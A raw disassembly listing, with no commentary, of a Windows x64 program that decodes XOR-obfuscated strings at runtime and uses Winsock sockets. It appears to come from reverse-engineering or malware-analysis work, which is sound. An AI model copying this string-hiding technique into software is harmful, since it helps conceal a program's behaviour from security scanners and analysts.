movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140091fa0]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x140091fb0]
movups xmmword [rbp + 0x20], xmm0
mov eax, dword [0x140091fc0]
mov dword [rbp + 0x30], eax
cmp edi, 2
jl 0x140024532
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x140024430
cmp esi, 0x54
jge 0x14002456f
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
jl 0x140024540
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str.EWBK:]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x36
xor byte [rsp + 0x32], 0x37
xor byte [rsp + 0x33], 0x38
xor byte [rsp + 0x34], 0x39
xor byte [rsp + 0x35], 0x3a
lea rcx, [rsp + 0x30]
call fcn.14002b2b8
nop
lea rcx, [rbp + 0x5b0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.14000ee80
nop
lea rcx, [rbp + 0x4e8]
call fcn.140008a30
jmp 0x1400242a3
movups xmm0, xmmword [0x1400921e0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400921f0]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x140092200]
movsd qword [rbp], xmm0
movzx eax, word [0x140092208]
mov word [rbp + 8], ax
cmp edi, 2
jl 0x140024762
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x140024660
cmp esi, 0x2a
jge 0x14002479f
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2a
jl 0x140024770
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str.EWBK:]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x36
xor byte [rsp + 0x32], 0x37
xor byte [rsp + 0x33], 0x38
xor byte [rsp + 0x34], 0x39
xor byte [rsp + 0x35], 0x3a
lea rcx, [rsp + 0x30]
call fcn.14002b2b8
nop
lea rcx, [rbp + 0x5b0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x508]
call fcn.14000ee80
nop
lea rcx, [rbp + 0x4e8]
call fcn.140008a30
nop
lea rcx, [rbp + 0x528]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4b0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
lea rcx, [rbp + 0x590]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.140005520
jmp 0x140021cd2
call fcn.14001b650
test al, al
jne 0x140024a5a
movups xmm0, xmmword [0x140092170]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140092180]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x140092190]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1400921a0]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [str._46c___g__8_m__7_zxWv_fkopt]
movups xmmword [rbp + 0x20], xmm0
movsd xmm1, qword [0x1400921c0]
movsd qword [rbp + 0x30], xmm1
mov r8d, esi
cmp edi, 2
jl 0x140024a01
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140024900
jmp 0x140024a42
lea r9, [rbp - 0x20]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140024a10
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
test al, al
jne 0x140024c7d
movups xmm0, xmmword [0x140092370]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140092380]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140092390]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1400923a0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1400923b0]
movups xmmword [rbp + 0xf0], xmm0
movzx eax, byte [0x1400923c0]
mov byte [rbp + 0x100], al
mov r8d, esi
cmp edi, 2
jl 0x140024c17
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140024b10
cmp r8d, 0x51
jge 0x140024c62
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140024c30
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rdx, qword [rbp + 0x650]
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], send
nop word [rax + rax]
inc r14
cmp byte [rdx + r14], 0
jne 0x140024cc0
mov r8, r14
lea rcx, [rbp + 0x40]
call fcn.140003650
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rcx, qword [rbp + 0x4d0]
cmp rcx, qword [rbp + 0x4d8]
jne 0x140025645
test rcx, rcx
je 0x140024d51
mov rdx, qword [rbp + 0x4e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024d3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258c8
call fcn.14005bc54
mov qword [rbp + 0x4d0], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d8], xmm0
mov rdx, qword [rbp + 0x520]
cmp rdx, 8
jb 0x140024d9b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024d96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258ce
call fcn.14005bc54
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], 7
mov word [rbp + 0x508], si
mov rdx, qword [rbp + 0x500]
cmp rdx, 0x10
jb 0x140024df9
inc rdx
mov rcx, qword [rbp + 0x4e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024df4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258d4
call fcn.14005bc54
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], send
mov byte [rbp + 0x4e8], 0
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x140024e68
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024e51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258da
call fcn.14005bc54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140024ead
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024ea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258e0
call fcn.14005bc54
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140024f19
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024f13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258e6
call fcn.14005bc54
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140024f2f
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002197c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002571e
jmp 0x140021977
lea rdx, [rbp + 0x198]
call fcn.1400259f0
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x140025724
cmp dword [0x1400a3c50], 2
jl 0x1400250f6
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140024ff0
cmp esi, 0x23
jge 0x140025724
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jge 0x140025724
jmp 0x140025100
lea rdx, [rbp - 0x20]
call fcn.1400259a0
mov r9, rax
cmp byte [rax + 0x2e], 0
je 0x140025776
cmp dword [0x1400a3c50], 2
jl 0x1400252a6
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x1400251a0
cmp esi, 0x2f
jge 0x140025776
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2f
jge 0x140025776
jmp 0x1400252b0
lea rdx, [rbp + 0xb0]
call fcn.140025940
mov r9, rax
cmp byte [rax + 0x58], 0
je 0x1400257c8
cmp dword [0x1400a3c50], 2
jl 0x140025456
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x58
jl 0x140025350
cmp esi, 0x59
jge 0x1400257c8
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x59
jge 0x1400257c8
jmp 0x140025460
lea rdx, [rbp + 0x1c0]
call fcn.1400258f0
mov r9, rax
cmp byte [rax + 0x20], 0
je 0x14002581a
cmp dword [0x1400a3c50], 2
jl 0x140025606
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140025500
cmp esi, 0x21
jge 0x14002581a
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x21
jge 0x14002581a
jmp 0x140025610
lea rcx, [rbp + 0x4d0]
call fcn.1400148f0
mov rbx, rax
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x1c0]
call fcn.140008b30
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14001f020
lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400256a7
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
lea rdx, [rbp + 0x608]
call fcn.140026350
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025920
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025708
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b2b8
xor ecx, ecx
call fcn.140026d48
nop
call fcn.140026f88
int3
call fcn.140026f88
nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
